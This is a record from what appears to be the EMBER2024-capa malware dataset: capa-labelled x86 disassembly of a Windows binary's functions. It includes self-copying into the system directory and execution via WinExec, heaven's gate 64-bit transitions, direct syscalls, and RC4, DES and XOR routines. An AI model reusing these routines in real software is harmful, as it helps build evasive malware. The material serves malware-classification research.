joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40159d
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
jmp 0x4015c0
push 0x40313c
xor edi, edi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, 0x403050
test eax, eax
jne 0x401613
mov dword [ebp - 4], 1
mov edi, 0x644
push 0x403134
push edi
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x40165e
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4015ee
and byte [0x4030cf], 0
push esi
call section..text
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x1f
jle 0x401637
lea eax, [eax + 0x403031]
push eax
push esi
call ebx
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push 0x401368
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [0x403154], edi
jne 0x4015e9
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40164c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
xor eax, eax
mov dword [ebp - 8], ecx
push eax
push eax
push eax
push 6
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
xor ecx, ecx
cmp eax, ecx
je 0x40179f
cmp dword [ebp - 4], ecx
mov dword [0x403150], eax
jne 0x4017ba
cmp dword [ebp - 8], ecx
je 0x401783
push edi
push ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x403150]
add esp, 0xc
mov dword [eax], 1
mov eax, dword [0x403150]
add eax, 4
push esi
push eax
call ebx
mov edi, 0x104
lea eax, [ebp - 0x210]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x10c]
push 0x40312c
push eax
call edi
lea eax, [ebp - 0x10c]
push esi
push eax
call edi
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x10c]
sub ecx, 4
add eax, ecx
cmp byte [eax], 0x2e
jne 0x401726
and byte [eax], 0
mov esi, 0x403048
push esi
call section..text
pop ecx
push eax
lea eax, [ebp - 0x10c]
push eax
call edi
push esi
call section..text
pop ecx
lea eax, [ebp - 0x10c]
push 0
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x10c]
push 0x403130
push eax
call edi
lea eax, [ebp - 0x10c]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4017a8
mov ecx, dword [eax]
cmp ecx, 0x32
jge 0x40179f
inc ecx
push esi
mov dword [eax], ecx
mov eax, dword [0x403150]
mov ecx, dword [eax]
shl ecx, 5
lea eax, [ecx + eax - 0x1c]
push eax
call ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + 8]
call fcn.00401410
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push dword [0x403150]
call fcn.00401109
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4017ba
Function at 0x401724
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x41b905
call fcn.004017a7
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0
push 0
push 0
push dword [ebp - 4]
push 0
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
nop
nop
cmp dword [ebp - 8], esp
je 0x40177f
push 0x24
push 0x40563bc
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push 1
push 0x3e8
call fcn.0040180d
jmp 0x40177f
Function at 0x41154f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov ecx, 0x40
xor eax, dword [ebp + ecx]
sub ecx, 8
cmp ecx, 0
jne 0x411559
leave
ret 0x40

Function at 0x412089
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
cmp dword [0x44f8ad], 0
jne 0x4120b0
cmp dword [0x44f8b1], 0
jne 0x41215b
mov dword [ebp - 0xc], esp
push str.ntdll.dll
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4120e4
push 0x85
push 0x406b133
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push str.ZwQueryVirtualMemory
push dword [ebp - 0x10]
xor eax, eax
call dword [0x44f8dd]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x412118
push 0x85
push 0x406b133
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fadd qword [0x44d5a4]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
call fcn.004017e6
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.00429050
add esp, 0x10
cdq
mov dword [0x44f8ad], eax
mov dword [0x44f8b1], edx
mov edx, dword [0x44f8b1]
mov eax, dword [0x44f8ad]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 0x33
call 0x412173
add dword [esp], 5
retf

Function at 0x4121a9
Capabilities:
Execute syscall

Disassembly:
dec ecx
mov edx, ecx
dec eax
mov eax, dword [ebp - 8]
syscall
ret

Function at 0x4124f8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
cmp dword [0x44f8b5], 0
jne 0x41251f
cmp dword [0x44f8b9], 0
jne 0x4125ca
mov dword [ebp - 0xc], esp
push str.ntdll.dll
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x412553
push 0x85
push 0x406b134
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push str.ZwReadVirtualMemory
push dword [ebp - 0x10]
xor eax, eax
call dword [0x44f8dd]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x412587
push 0x85
push 0x406b134
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fadd qword [0x44d5a4]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
call fcn.004017e6
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.00429050
add esp, 0x10
cdq
mov dword [0x44f8b5], eax
mov dword [0x44f8b9], edx
mov edx, dword [0x44f8b9]
mov eax, dword [0x44f8b5]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 0x33
call 0x4125e2
add dword [esp], 5
retf
Function at 0x4192f0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov eax, 0x44d84a
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0x44f8a5
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41933e
push ebx
call fcn.00425307
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41934e
push ebx
call fcn.00425307
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx]
test ebx, ebx
je 0x419364
push ebx
call fcn.00425307
add esp, 4
pop eax
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x41937f
mov eax, 0x44d2b0
push eax
push 1
mov ebx, 0x130
call fcn.00427090
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x40
jne 0x4193f1
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004194fb
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4193c1
push ebx
call fcn.00425307
add esp, 4
pop eax
mov dword [ebp - 4], eax
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.00419acc
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4193e8
push ebx
call fcn.00425307
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x419424
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x41940f
push eax
mov ebx, eax
call fcn.00401abd
inc eax
push eax
call fcn.0042530d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x419420
push ebx
call fcn.00425307
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [0x44f88d]
test eax, eax
jne 0x419439
mov eax, 0x44d2b1
push eax
push 1
mov ebx, 0x168
call fcn.00425a80
add esp, 0x10
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 0xc]
push dword [ebx]
push 0x44d7e1
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0x44da0b
push dword [ebp - 8]
mov ecx, 5
call fcn.00401b28
add esp, 0x14
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x419486
push ebx
call fcn.00425307
add esp, 4
mov dword [ebp - 0x10], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4194b2
push 0x1b9
push 0x40681e9
push 6
call fcn.00425319
add esp, 0xc
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4194c2
push ebx
call fcn.00425307
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4194de
push eax
mov ebx, eax
call fcn.00401abd
inc eax
push eax
call fcn.0042530d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4194e3
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4194f4
push ebx
call fcn.00425307
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x419ff2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0x14], 1
jne 0x41a011
mov dword [ebp + 0x14], 0
jmp 0x41a02e
cmp dword [ebp + 0x14], 2
jne 0x41a027
mov dword [ebp + 0x14], 7
jmp 0x41a02e
mov dword [ebp + 0x14], 1
mov dword [ebp - 4], esp
push dword [ebp + 0x14]
push 0x44d2b0
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
cmp dword [ebp - 4], esp
je 0x41a073
push 0xff
push 0x407619c
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jne 0x41a08f
mov eax, 0
jmp 0x41a099
mov eax, 1
jmp 0x41a099
mov esp, ebp
pop ebp
ret 0x14
Function at 0x41b911
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [0x44f8bd], 0x4d29ac2
push 0
mov ebx, 0x108
call fcn.004290f0
add esp, 4
mov dword [ebp - 8], eax
push 0x80000301
push 0
push 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x41b95f
mov eax, 0x44d2b0
push eax
push 2
mov ebx, 0x138
call fcn.00428c80
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41b985
push ebx
call fcn.00425307
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x41b998
mov eax, 0x44d2b0
push eax
push 1
mov ebx, 0x154
call fcn.00425fe0
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41b9be
push ebx
call fcn.00425307
add esp, 4
push 0x44de8f
push dword [ebp - 0x10]
call fcn.00401b9d
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41b9ec
push ebx
call fcn.00425307
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x41bb13
push reloc.WS2_32.dll_connect
push 0
push str.Super_EC
push 1
mov ebx, 0x158
call fcn.00429320
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0
push 6
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_OpenFileMappingA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41ba4d
push 0x147
push 0x406b141
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41ba60
push ebx
call fcn.00425307
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0
push 0
push 0
push 6
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
nop
nop
cmp dword [ebp - 8], esp
je 0x41baa6
push 0x19c
push 0x406b141
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 3
mov eax, 0x44de9d
test eax, eax
je 0x41babd
add eax, 8
push eax
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_RtlMoveMemory]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x41bae7
push 0x19c
push 0x406b141
push 6
call fcn.00425319
add esp, 0xc
mov dword [ebp - 8], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
nop
nop
cmp dword [ebp - 8], esp
je 0x41bb13
push 0x201
push 0x406b141
push 6
call fcn.00425319
add esp, 0xc
call fcn.0041bb26
mov eax, 0
jmp 0x41bb22
mov esp, ebp
pop ebp
ret

Function at 0x426170
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
sub esp, 0x294
lea eax, [esp + 0x104]
push esi
push eax
push 0x202
xor esi, esi
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x4261c2
lea ecx, [esp + 4]
push 0x104
push ecx
call sub.WS2_32.dll_gethostname
test eax, eax
jne 0x4261bd
lea edx, [esp + 4]
push edx
call dword [0x44fe98]
push eax
lea eax, [esp + 0xc]
push eax
call fcn.0042b100
add esp, 0xc
mov esi, eax
call sub.WS2_32.dll_WSACleanup
mov eax, esi
pop esi
add esp, 0x294
ret
Function at 0x429180
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x429212
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x429204
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x4291fc
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x4291c5
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x429220
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
ret

Function at 0x429510
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x429579
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.004256d0
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x429a50
Capabilities:
Get file size

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x429a5e
or eax, 0xffffffff
pop esi
ret
push esi
call fcn.0042bef0
add esp, 4
test eax, eax
jne 0x429a70
or eax, 0xffffffff
pop esi
ret
mov ecx, dword [esi]
or eax, 0xffffffff
cmp ecx, 1
je 0x429a8e
cmp ecx, 3
je 0x429a8e
cmp ecx, 2
jne 0x429a9d
mov ecx, dword [esi + 4]
call fcn.0042bd40
pop esi
ret
mov esi, dword [esi + 4]
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
pop esi
ret

Function at 0x429aa0
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
jne 0x429ab5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
push edi
call fcn.0042bef0
add esp, 4
test eax, eax
jne 0x429ac8
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov esi, dword [esp + 0x28]
test esi, esi
jg 0x429ad8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi]
xor ebx, ebx
cmp eax, 1
jne 0x429b31
mov edi, dword [edi + 4]
push esi
call fcn.0043f20a
add esp, 4
mov ebp, eax
lea eax, [esp + 0x1c]
push ebx
push eax
push esi
push ebp
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x429b13
push ebp
call fcn.0043f233
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x1c]
push ecx
push ebp
call fcn.0042b0c0
push ebp
mov ebx, eax
call fcn.0043f233
add esp, 0xc
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
cmp eax, 2
jne 0x429b7c
mov edi, dword [edi + 4]
lea edx, [esi + 8]
push edx
call fcn.004256d0
mov ebx, eax
add esp, 4
lea ecx, [ebx + 8]
mov dword [ebx], 1
mov dword [ebx + 4], esi
mov eax, dword [edi]
push esi
push ecx
mov ecx, edi
call dword [eax + 0x20]
test eax, eax
jne 0x429b71
push ebx
call fcn.00425790
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
mov dword [ebx + 4], eax
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
cmp eax, 3
jne 0x429bf8
mov ebx, dword [edi + 4]
push esi
call fcn.0043f20a
add esp, 4
mov ebp, eax
push 1
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea edx, [esp + 0x1c]
push 0
push edx
push esi
push ebp
push ebx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x429bc5
push ebp
call fcn.0043f233
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov edx, dword [edi + 0x130]
mov eax, dword [esp + 0x1c]
lea ecx, [edi + 0xc]
add edi, 0x2c
push ecx
push edx
push edi
mov esi, eax
push eax
mov eax, dword [esp + 0x20]
push ebp
push eax
call fcn.0042ae10
push esi
push ebp
call fcn.0042b0c0
push ebp
mov ebx, eax
call fcn.0043f233
add esp, 0x24
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x42a6a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, edx
push esi
push edi
mov esi, ebp
xor edi, edi
and esi, 3
mov eax, ecx
jle 0x42a6c1
mov dl, byte [eax]
inc eax
cmp dl, bl
je 0x42a71b
inc edi
cmp edi, esi
jl 0x42a6b5
mov edi, ebx
and edi, 0xff
mov esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
lea edi, [ecx + ebp]
cmp eax, edi
jae 0x42a750
mov edx, dword [eax]
xor edx, esi
lea ebp, [edx - 0x1010101]
not edx
and ebp, edx
test ebp, 0x80808080
je 0x42a70a
cmp byte [eax], bl
je 0x42a725
cmp byte [eax + 1], bl
je 0x42a72e
cmp byte [eax + 2], bl
je 0x42a738
cmp byte [eax + 3], bl
je 0x42a744
add eax, 4
cmp eax, edi
jb 0x42a6e1
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
dec eax
pop ebx
ret 4
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
inc eax
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 2
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 3
pop ebx
ret 4
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4

Function at 0x42ac20
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x11c]
lea eax, [esp + 0x18]
mov ebx, edi
xor esi, esi
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea ebp, [esp + ecx + 0x18]
cdq
idiv dword [esp + 0x124]
mov eax, dword [esp + 0x120]
mov byte [ebx + ebp], cl
inc ecx
cmp ecx, 0x100
mov dl, byte [edx + eax]
mov byte [ebp], dl
jl 0x42ac52
lea ebp, [esp + 0x18]
mov eax, edi
sub ebp, edi
mov dword [esp + 0x10], 0x100
mov cl, byte [eax]
xor edx, edx
mov dl, byte [eax + ebp]
mov byte [esp + 0x14], cl
mov ebx, dword [esp + 0x14]
add esi, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x42acb2
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + edi]
mov byte [eax], dl
mov byte [esi + edi], cl
mov ecx, dword [esp + 0x10]
inc eax
dec ecx
mov dword [esp + 0x10], ecx
jne 0x42ac89
xor al, al
mov byte [edi + 0x100], al
mov byte [edi + 0x101], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x42ad60
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push esi
push edi
mov edi, dword [esp + 0x14]
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
xor esi, esi
mov byte [esp + 0x18], cl
test edi, edi
mov byte [esp + 8], dl
jle 0x42adfc
mov edx, dword [esp + 0x10]
push ebx
push ebp
mov cl, byte [esp + 0x20]
mov bl, byte [esp + 0x10]
inc cl
mov byte [esp + 0x20], cl
mov ecx, dword [esp + 0x20]
and ecx, 0xff
lea edi, [ecx + eax]
mov cl, byte [ecx + eax]
add bl, cl
mov byte [esp + 0x10], bl
mov ebx, dword [esp + 0x10]
and ebx, 0xff
lea ebp, [ebx + eax]
mov bl, byte [ebx + eax]
mov byte [edi], bl
mov byte [ebp], cl
mov bl, byte [edi]
add bl, cl
and ebx, 0xff
mov cl, byte [ebx + eax]
mov bl, byte [esi + edx]
xor bl, cl
mov ecx, dword [esp + 0x1c]
mov byte [esi + edx], bl
inc esi
cmp esi, ecx
jl 0x42ad8b
mov dl, byte [esp + 0x20]
mov cl, byte [esp + 0x10]
pop ebp
pop ebx
pop edi
mov byte [eax + 0x100], dl
mov byte [eax + 0x101], cl
pop esi
pop ecx
ret
pop edi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop esi
pop ecx
ret

Function at 0x42d390
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x44ff6c]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x42d3a3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x42d3e4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x450014]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x42d416
mov bl, byte [esp + ecx + 0x4c]
jmp 0x42d41a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x42d40b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x42d438
mov bl, byte [esp + ecx + 0x4c]
jmp 0x42d43c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x42d42d
xor ecx, ecx
mov eax, 0x44ff7c
xor ebx, ebx
mov bl, byte [ecx + 0x450024]
cmp byte [esp + ebx + 0x14], 0
je 0x42d467
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x45003c]
cmp byte [esp + ebx + 0x14], 0
je 0x42d47e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x42d44e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x42d3d7
lea edx, [esp + 0x84]
push edx
call fcn.0042d4c0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret